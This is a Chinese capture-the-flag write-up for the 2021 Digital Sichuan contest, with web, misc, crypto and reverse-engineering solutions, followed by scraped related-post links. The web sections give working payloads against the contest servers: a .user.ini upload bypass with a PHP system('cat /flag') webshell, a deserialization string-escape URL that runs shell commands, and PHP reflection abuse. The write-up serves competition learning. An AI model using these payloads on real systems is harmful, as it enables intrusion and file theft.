2021 数字四川创新大赛WriteUp
数字四川初赛+复赛wp
Web
easyphp
http://111.9.220.114:50006/.index.php.swp 备份文件泄漏
<?php
#error_reporting(0);
class Data
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
/**
* Increment counter
* @final
* @static
* @access flag{*****************}
* @return int
*/
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
if(isset($_POST["pc"]))
{
$gc = $_POST["pc"];
}else{
$gc = "Data";
echo "The flag is in here,but u can't see";
}
$gb=@$_POST["pb"];
$ga=@$_POST["pa"];
$gd=@$_POST["pd"];
$method = new $gc($ga, $gb);
var_dump($method->$gd());
?>
php反射 原生类利用

跑一下
pc=ReflectionMethod&pa=Data&pb=q&pd=getDocComment 在q里面

flag{64d5734730d4ce3a37e8babbf9c3ae2d}
easyln

Admin admin登录
创建软连接 打包后上传


熊猫小店
条件竞争
用jemeter多线程买


然后卖掉去买flag
做的时候环境出问题了,正在卖就出flag了,应该是公共环境有人已经买flag了

easyupload
先传user.ini 再穿jpg文件
user.ini:
GIF89a
auto_prepend_file=1.jpg
jpg文件:绕一下检测
GIF89a
<script language="php">system("cat /flag")</script>


Misc
二进制
取前一段二进制的奇数位与后一段二进制的偶数位组成一个新的二进制集合,然后将其转换成字符串即可
s='010101100100010101110101010001010100010001000101010101100100011001010110011001000100010001000110011001100110010001100100010101100100010001010101010101010101010101000110'
t='101010101001101111011001101101011011011101000100100100110110010010010101001101101010011101000011010101010101010000110111100001000101101010000110101010011000101001001111'
flag=''
for i in range(len(s)):
flag+=s[i]+t[i]
print binascii.a2b_hex(hex(int(flag,2))[2:-1])
flag{ce3e502c-48c9-4d50-9990-5b81db6fcbf0}
SSRF
数据包用ssrf打的gopher协议,把url复制出来,两次urldecode

可以看到攻击者是在sql时间盲注flag,把时间间隔3s左右的数据包解码一下,拼起来就是flag


crypto
Easy crypto
把附件里的flag交了,好像就对了,很迷

Re
Creakme
C#程序用dotPeek或者dnspy逆向:
// Decompiled with JetBrains decompiler
// Type: ctf.sectalks_bne.crackme.Program
// Assembly: cracknet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: ED77097E-DDB5-4C37-82EB-0300691C3EC4
// Assembly location: C:\Users\ch3cke\Desktop\crack.exe
using System;
using System.Threading;
namespace ctf.sectalks_bne.crackme
{
internal class Program
{
private static void Main(string[] args)
{
Program.PrintBanner();
int remainingGuesses = 5;
while (true)
{
if (remainingGuesses < 1)
Program.PrintGameOver();
Program.PrintTimer(3);
Program.PrintGuesses(remainingGuesses);
Console.Write("Enter The flag: ");
string str1 = Console.ReadLine();
string str2 = str1;
int length = str1.Length;
if (length > 20 && length < 25)
{
int num = length % 10;
for (int index = 1; index <= length / num; ++index)
{
char ch = str1[index * (num + 1) - 2];
string str3 = ch.ToString();
string str4 = str1;
ch = str1[index * (num + 1) - 1];
string str5 = ch.ToString();
str1 = str3 + str4 + str5;
}
string plainText1 = str1.Substring(20) + str1.Substring(10, 10) + str1.Substring(0, 10);
string str6 = MD5.CreateMD5(Crypto.EncryptStringHH(plainText1)).Substring(10, 10);
string plainText2 = Crypto.calcXor(plainText1.Substring(0, 10) + str6 + plainText1.Substring(10), "flag{6L+Z6YeM5rKh5pyJZmxhZ+i/memHjOayoeaciWZsYWfov5nph4zmsqHmnIlmbGFn}".Substring(10, 10));
string str7 = "3SrM8ZvrV13byvqhpzhTt993LlQ6ND09MI0usLiw=";
if (Crypto.DecryptStringAES(Crypto.EncryptStringAES(plainText2, "CF 2A 0B 55 72 1C DE BF")).Equals(Crypto.DecryptStringAES(Crypto.EncryptStringHHH() + str7)))
{
Console.WriteLine("答案正确,flag为: flag{" + str2 + "}");
}
else
{
--remainingGuesses;
Console.WriteLine("答案错误。");
}
}
else
{
--remainingGuesses;
Console.WriteLine("长度不正确,请重新输入. length ∈ (20,25)。");
}
}
}
public static void PrintBanner()
{
Console.WriteLine(" _ _ ");
Console.WriteLine(" | | | | ");
Console.WriteLine(" ___ _ __ __ _ ___ | | __ _ __ ___ | |_ ");
Console.WriteLine(" / __| | '__| / _` | / __| | |/ / | '_ \\ / _ \\ | __|");
Console.WriteLine(" | (__ | | | (_| | | (__ | < _ | | | | | __/ | |_ ");
Console.WriteLine(" \\___| |_| \\__,_| \\___| |_|\\_\\ (_) |_| |_| \\___| \\__|");
Console.WriteLine(" ");
}
private static void PrintGameOver()
{
Console.WriteLine("\n");
Console.WriteLine(" .d8888b. d8888 888b d888 8888888888 .d88888b. 888 888 8888888888 8888888b. ");
Console.WriteLine("d88P Y88b d88888 8888b d8888 888 d88P\" \"Y88b 888 888 888 888 Y88b ");
Console.WriteLine("888 888 d88P888 88888b.d88888 888 888 888 888 888 888 888 888 ");
Console.WriteLine("888 d88P 888 888Y88888P888 8888888 888 888 Y88b d88P 8888888 888 d88P ");
Console.WriteLine("888 88888 d88P 888 888 Y888P 888 888 888 888 Y88b d88P 888 8888888P\" ");
Console.WriteLine("888 888 d88P 888 888 Y8P 888 888 888 888 Y88o88P 888 888 T88b ");
Console.WriteLine("Y88b d88P d8888888888 888 \" 888 888 Y88b. .d88P Y888P 888 888 T88b ");
Console.WriteLine(" \"Y8888P88 d88P 888 888 888 8888888888 \"Y88888P\" Y8P 8888888888 888 T88b ");
Program.Mario();
Environment.Exit(0);
}
public static void PrintTimer(int seconds)
{
for (int index = seconds; index >= 0; --index)
{
int cursorLeft = Console.CursorLeft;
int cursorTop = Console.CursorTop;
Console.ForegroundColor = ConsoleColor.Yellow;
Console.CursorLeft = 0;
Console.CursorTop = 0;
Console.Write("You can make another guess in: {0}", (object) index);
Console.CursorLeft = cursorLeft;
Console.CursorTop = cursorTop;
Thread.Sleep(1000);
}
}
public static void PrintGuesses(int remainingGuesses)
{
int cursorLeft = Console.CursorLeft;
int cursorTop = Console.CursorTop;
Console.CursorLeft = 0;
Console.CursorTop = 0;
Console.ForegroundColor = ConsoleColor.White;
if (remainingGuesses == 1)
{
ConsoleColor backgroundColor = Console.BackgroundColor;
Console.BackgroundColor = ConsoleColor.Red;
Console.Write("You only have one guess remaining!");
Console.BackgroundColor = backgroundColor;
}
else
Console.Write(string.Format("You have {0}/5 guesses remaining!!", (object) remainingGuesses));
Console.CursorLeft = cursorLeft;
Console.CursorTop = cursorTop;
}
private static void StarWars() => Thread.Sleep(500);
private static void Mario()
{
Console.Beep(659, 125);
Console.Beep(659, 125);
Thread.Sleep(125);
Console.Beep(659, 125);
Thread.Sleep(167);
Console.Beep(523, 125);
Console.Beep(659, 125);
Thread.Sleep(125);
Console.Beep(784, 125);
Thread.Sleep(375);
Console.Beep(392, 125);
}
}
}
解题脚本
string str7 = "3SrM8ZvrV13byvqhpzhTt993LlQ6ND09MI0usLiw=";
string enc = Crypto.calcXor(Crypto.DecryptStringAES(Crypto.EncryptStringHHH() + str7), "flag{6L+Z6YeM5rKh5pyJZmxhZ+i/memHjOayoeaciWZsYWfov5nph4zmsqHmnIlmbGFn}".Substring(10, 10));
Console.WriteLine(enc.Substring(0,10));
Console.WriteLine(enc.Substring(10,10));
Console.WriteLine(enc.Substring(20));
Console.WriteLine(MD5.CreateMD5(Crypto.EncryptStringHH(enc.Substring(0, 10) + enc.Substring(20))).Substring(10,10));
string tmp_flag = enc.Substring(0, 10) + enc.Substring(20);
Console.WriteLine(tmp_flag);
# str = tmp_flag[-10:]+tmp_flag[-20:-10]+tmp_flag[0:-20]
str = 'q2uv1u4GSuHEf116vvaCfus792NWaqH1asNH'
tmp = []
for i in str:
tmp.append(i)
nums = 5
i = 6
while i>0:
a = tmp[0]
b = tmp[-1]
tmp = tmp[1:-1]
tmp[i*5-2] = a
tmp[i*5-1] = b
i-=1
flag = ''
for i in tmp:
flag += i
print flag

复赛web
复赛比赛一结束就关环境了,没写wp也没截图
easyphp
<?php
show_source("index.php");
error_reporting(0);
function change($char){
return str_replace('zz', 'xxx', $char);
}
class Demo{
public $name='admin';
public $pass='admin';
function __construct($a){
$this->name = $a;
}
function __destruct(){
system($this->pass);
}
}
$test=new Demo($_GET['a']);
$new=change(serialize($test));
$last=unserialize($new);
$last->pass;
?>
反序列化字符串逃逸
<?php
error_reporting(0);
function change($char){
return str_replace('zz', 'xxx', $char);
}
class Demo{
public $name='admin';
public $pass='admin';
function __construct($a){
$this->name = $a;
}
function __destruct(){
system($this->pass);
}
}
$test=new Demo('adminzzzzzzzzzzzzzzzz";s:4:"pass";s:9:"cat /flag";}');
echo serialize($test);
$new=change(serialize($test));
echo $new;
$last=unserialize($new);
$last->pass;
?>
反序列化字符串逃逸,算一下要逃逸的字符有几个就加几个zz就行了

根目录没有flag,在当前目录
http://111.9.220.114:50002/?a=adminzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";s:4:"pass";s:12:"cat flag.php";}
这个也不行 改成绝对路径出了
flag{c8ad987d72017aa9ac62f07420922d4b}
easy upload
上传啥都没用,后面队友说可以用标签

scandir读下目录

show_source读文件内容

2021 数字四川创新大赛WriteUp的更多相关文章
- 2020数字中国创新大赛虎符网络安全赛道-pwn count
比赛结束前半个小时才看的题,等我做出来比赛已经结束了.难受Orz 本地文件无法执行,远程调试. 题目大概意思就是让你计算200道四则运算.(实际上格式是固定的.先乘一次然后再加两次).200道题都正确 ...
- 第十届国际用户体验创新大赛携Mockplus走进校园
今日立夏,万木并秀,生生不息,第十届国际用户体验创新大赛即将拉开序幕.5月5日下午,一场用户体验设计经验分享活动携带众多嘉宾降临成都理工大学,为西南赛区首站赛事宣讲. 本次宣讲活动邀请了华为技术有限公 ...
- 欢迎参加3月活动:AWS 在线研讨会与阿里云 RISC-V 应用创新大赛
3月份我们在帮合作云厂商 Amazon Web Services(AWS) 与阿里云推广2个活动,欢迎感兴趣的园友参加. 活动一:亚马逊云科技在线研讨会:借助 DGL 实现实时欺诈检测 博客园专属报名 ...
- "微信全球商业创新大赛-创意中国2015"国际MBA商业挑战赛开启
微信商业化进程一直在摸索中前进,从未间断.近日由中欧国际工商学院与腾讯(Tencent)共同发起举办“微信全球商业创新大赛 - 创意中国2015”(We Win with WeChat - INNOV ...
- 华为AI应用创新大赛即将开启!公开课已备好!
为鼓励开发者创新,挖掘前沿创新能力的应用及服务,帮开发者打造爆款应用的同时丰富终端消费者的用户体验,由设立10亿激励基金耀星计划扶持的华为创新竞赛平台即将开启. 竞赛平台将滚动推出AI.HAG.AR. ...
- 开发板免费领!腾讯云IoT应用创新大赛正式启动!
大赛简介 腾讯云IoT应用创新大赛是腾讯云面向物联网领域举办的大型竞赛,通过腾讯云IoT全链路产品能力,开放平台和服务,与广大开发者共同创新,孵化优秀的IoT产品和解决方案,共同构建IoT应用生态. ...
- 2016第二届陕西省网络空间安全大赛WriteUp
2016年5月28号(正式比赛) 有选择题和实践题,俩队员在弄选择题时,我去拿了web1的一血. 0x01 web 是一道代码审计题,发包,返回了源代码: <?php if (isset($_G ...
- 2016腾讯"创益24小时"互联网公益创新大赛总结
上周末参加了腾讯的"创益24小时"互联网公益大赛,和两个小伙伴(设计师Beryl和产品经理Benny)浴血奋战两天一夜,完成了一个叫"彩虹桥"的公益项目. (一 ...
- 宁波市第三届网络安全大赛-WriteUp(Misc)
友情链接 Web师傅:skyxmao师傅 内心OS 第一次参加这种大型比赛,实力较菜,请师傅们多多指点 Misc | 完成 | 第一 下载文件,看一下doc没有任何问题, 没有发现任何隐写,然后修改文 ...
随机推荐
- 定要过python二级 选择题第5套
1. 2.. 3. https://zhidao.baidu.com/question/1952133724016713828.html 4. 5. 6. 7. 8. 9. 10. 11.
- SVN基本配置--创建版本库(图文并茂)
SVN基本配置简 上一篇介绍了VisualSVN Server和TortoiseSVN的下载,安装,汉化.这篇介绍一下如何使用VisualSVN Server建立版本库,以及TortoiseSVN的使 ...
- Unity——基于UGUI的UI框架
基于UGUI的UI框架 一.Demo展示 二.关键类 MonoSingle 继承MonoBehaviour的单例基类:做了一些特殊处理: 保证场景中必须有GameInit名称的物体,所有单例管理器脚本 ...
- WPF实现聚光灯效果
WPF开发者QQ群: 340500857 | 微信群 -> 进入公众号主页 加入组织 前言 效果仿照 CSS聚光灯效果 实现思路: 1. 设置底部Canvas背景色 #222222 . 2. ...
- css新增属性之边框
css3新增属性 边框属性 背景属性 文字属性 颜色属性 边框属性 属性 说明 border-radius 设置边框圆角 border-image 设置图像边框 border-shadow 设置边框阴 ...
- Linux系统安装MySql5.7并通过sql脚本导入数据
为了下载到的MySQL版本和目标系统相互兼容,在开启之前,最好了解目标系统的相关信息. 查询系统版本: cat /etc/issue 查看系统位数 getconf LONG_BIT 选择MySQL 根 ...
- Servlet和Servlet容器
Java Servlet(Java服务器小程序)是一个基于Java技术的Web组件,运行在服务器端,它由Servlet容器所管理,用于生成动态的内容, Servlet是平台独立的Java类,编写一个S ...
- C++的智能指针学习笔记(初)
C++ primer plus 16.2节介绍了auto_ptr,该模板类在C++11中已弃用,目前已被shared_ptr代替. auto_ptr又叫做智能指针,用于管理动态内存分配的用法. 为什么 ...
- Linux常用命令查看文件、别名、切换目录、创建目录、查看当前目录
一.创建条件(使用liunx常用命令): 1.查看阿里云的环境是否搭建完成 首先快捷键 win+R 输入cmd 回车,打开命令提示符输入命令 ssh,回车. 2.登录阿里云账户 输入命令格式:ssh ...
- Linux上传下载神器之 lrzsz
在开发的过程中,经常遇到 需要在 Linux 和 Windows 之间上传下载文件的情况 这时,一般都是使用 FTP 或者 WinSCP 工具进行上传下载, 虽然也能解决问题,但是这些工具需要在本地安 ...